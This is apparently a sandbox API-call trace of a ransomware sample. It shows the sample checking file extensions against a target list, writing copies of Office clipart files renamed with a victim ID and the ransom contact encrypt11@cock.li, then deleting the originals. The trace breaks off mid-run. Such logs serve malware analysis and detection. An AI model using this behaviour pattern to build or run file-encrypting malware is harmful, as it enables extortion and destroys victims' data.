[0142.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.677] lstrlenW (lpString=".xlsx") returned 5 [0142.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.677] lstrlenW (lpString=".ppt") returned 4 [0142.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.677] lstrlenW (lpString=".zip") returned 4 [0142.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.677] lstrlenW (lpString=".rar") returned 4 [0142.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.677] lstrlenW (lpString=".bz2") returned 4 [0142.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.677] lstrlenW (lpString=".7z") returned 3 [0142.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.677] lstrlenW (lpString=".dbf") returned 4 [0142.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.679] lstrlenW (lpString=".1cd") returned 4 [0142.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0142.679] lstrlenW (lpString=".jpg") returned 4 [0142.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.683] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.683] lstrlenW (lpString="J0105292.WMF") returned 12 [0142.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.683] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=14868) returned 1 [0142.683] CloseHandle (hObject=0x508) returned 1 [0142.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0142.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0142.686] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.686] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.051] GetLastError () returned 0x0 [0143.051] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0143.053] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0143.054] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.054] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.054] SetEndOfFile (hFile=0x38c) returned 1 [0143.054] CloseHandle (hObject=0x38c) returned 1 [0143.054] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.054] SetEndOfFile (hFile=0x508) returned 1 [0143.057] CloseHandle (hObject=0x508) returned 1 [0143.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0143.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.058] lstrlenW (lpString=".doc") returned 4 [0143.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.058] lstrlenW (lpString=".docx") returned 5 [0143.058] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0143.058] lstrlenW (lpString=".pdf") returned 4 [0143.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.058] lstrlenW (lpString=".xls") returned 4 [0143.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.058] lstrlenW (lpString=".xlsx") returned 5 [0143.058] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0143.058] lstrlenW (lpString=".ppt") returned 4 [0143.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.058] lstrlenW (lpString=".zip") returned 4 [0143.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.058] lstrlenW (lpString=".rar") returned 4 [0143.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.058] lstrlenW (lpString=".bz2") returned 4 [0143.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.058] lstrlenW (lpString=".7z") returned 3 [0143.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString=".dbf") returned 4 [0143.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString=".1cd") returned 4 [0143.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString=".jpg") returned 4 [0143.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString=".doc") returned 4 [0143.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString=".docx") returned 5 [0143.059] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0143.059] lstrlenW (lpString=".pdf") returned 4 [0143.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString=".xls") returned 4 [0143.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.059] lstrlenW (lpString=".xlsx") returned 5 [0143.059] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0143.059] lstrlenW (lpString=".ppt") returned 4 [0143.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.059] lstrlenW (lpString=".zip") returned 4 [0143.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.059] lstrlenW (lpString=".rar") returned 4 [0143.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.060] lstrlenW (lpString=".bz2") returned 4 [0143.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.060] lstrlenW (lpString=".7z") returned 3 [0143.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.060] lstrlenW (lpString=".dbf") returned 4 [0143.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.060] lstrlenW (lpString=".1cd") returned 4 [0143.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0143.060] lstrlenW (lpString=".jpg") returned 4 [0143.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.061] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.061] lstrlenW (lpString="J0105336.WMF") returned 12 [0143.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.061] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2900) returned 1 [0143.061] CloseHandle (hObject=0x508) returned 1 [0143.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0143.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.062] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.062] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.063] GetLastError () returned 0x0 [0143.063] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xb54, lpOverlapped=0x0) returned 1 [0143.069] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xb60, lpOverlapped=0x0) returned 1 [0143.071] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.071] WriteFile (in: hFile=0x38c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.071] SetEndOfFile (hFile=0x38c) returned 1 [0143.071] CloseHandle (hObject=0x38c) returned 1 [0143.071] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.071] SetEndOfFile (hFile=0x508) returned 1 [0143.075] CloseHandle (hObject=0x508) returned 1 [0143.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0143.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.076] lstrlenW (lpString=".doc") returned 4 [0143.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.076] lstrlenW (lpString=".docx") returned 5 [0143.076] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.076] lstrlenW (lpString=".pdf") returned 4 [0143.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.076] lstrlenW (lpString=".xls") returned 4 [0143.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.077] lstrlenW (lpString=".xlsx") returned 5 [0143.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.077] lstrlenW (lpString=".ppt") returned 4 [0143.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString=".zip") returned 4 [0143.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.077] lstrlenW (lpString=".rar") returned 4 [0143.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString=".bz2") returned 4 [0143.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString=".7z") returned 3 [0143.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString=".dbf") returned 4 [0143.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString=".1cd") returned 4 [0143.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString=".jpg") returned 4 [0143.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.077] lstrlenW (lpString=".doc") returned 4 [0143.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString=".docx") returned 5 [0143.077] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.077] lstrlenW (lpString=".pdf") returned 4 [0143.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.077] lstrlenW (lpString=".xls") returned 4 [0143.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.077] lstrlenW (lpString=".xlsx") returned 5 [0143.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.078] lstrlenW (lpString=".ppt") returned 4 [0143.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.078] lstrlenW (lpString=".zip") returned 4 [0143.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.078] lstrlenW (lpString=".rar") returned 4 [0143.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.078] lstrlenW (lpString=".bz2") returned 4 [0143.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.078] lstrlenW (lpString=".7z") returned 3 [0143.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.102] lstrlenW (lpString=".dbf") returned 4 [0143.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.102] lstrlenW (lpString=".1cd") returned 4 [0143.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0143.102] lstrlenW (lpString=".jpg") returned 4 [0143.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.103] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.103] lstrlenW (lpString="J0105338.WMF") returned 12 [0143.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.106] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11584) returned 1 [0143.106] CloseHandle (hObject=0x508) returned 1 [0143.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0143.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0143.107] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.107] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0143.108] GetLastError () returned 0x0 [0143.108] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0143.121] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0143.146] ReadFile (in: hFile=0x508, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.146] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.146] SetEndOfFile (hFile=0x3bc) returned 1 [0143.146] CloseHandle (hObject=0x3bc) returned 1 [0143.147] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.147] SetEndOfFile (hFile=0x508) returned 1 [0143.149] CloseHandle (hObject=0x508) returned 1 [0143.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0143.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.150] lstrlenW (lpString=".doc") returned 4 [0143.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.150] lstrlenW (lpString=".docx") returned 5 [0143.151] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.151] lstrlenW (lpString=".pdf") returned 4 [0143.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString=".xls") returned 4 [0143.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.151] lstrlenW (lpString=".xlsx") returned 5 [0143.151] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.151] lstrlenW (lpString=".ppt") returned 4 [0143.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.151] lstrlenW (lpString=".zip") returned 4 [0143.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.151] lstrlenW (lpString=".rar") returned 4 [0143.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString=".bz2") returned 4 [0143.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString=".7z") returned 3 [0143.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.151] lstrlenW (lpString=".dbf") returned 4 [0143.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.151] lstrlenW (lpString=".1cd") returned 4 [0143.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.151] lstrlenW (lpString=".jpg") returned 4 [0143.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString=".doc") returned 4 [0143.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString=".docx") returned 5 [0143.152] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.152] lstrlenW (lpString=".pdf") returned 4 [0143.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString=".xls") returned 4 [0143.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.152] lstrlenW (lpString=".xlsx") returned 5 [0143.152] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.152] lstrlenW (lpString=".ppt") returned 4 [0143.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0143.152] lstrlenW (lpString=".zip") returned 4 [0143.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.152] lstrlenW (lpString=".rar") returned 4 [0143.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.152] 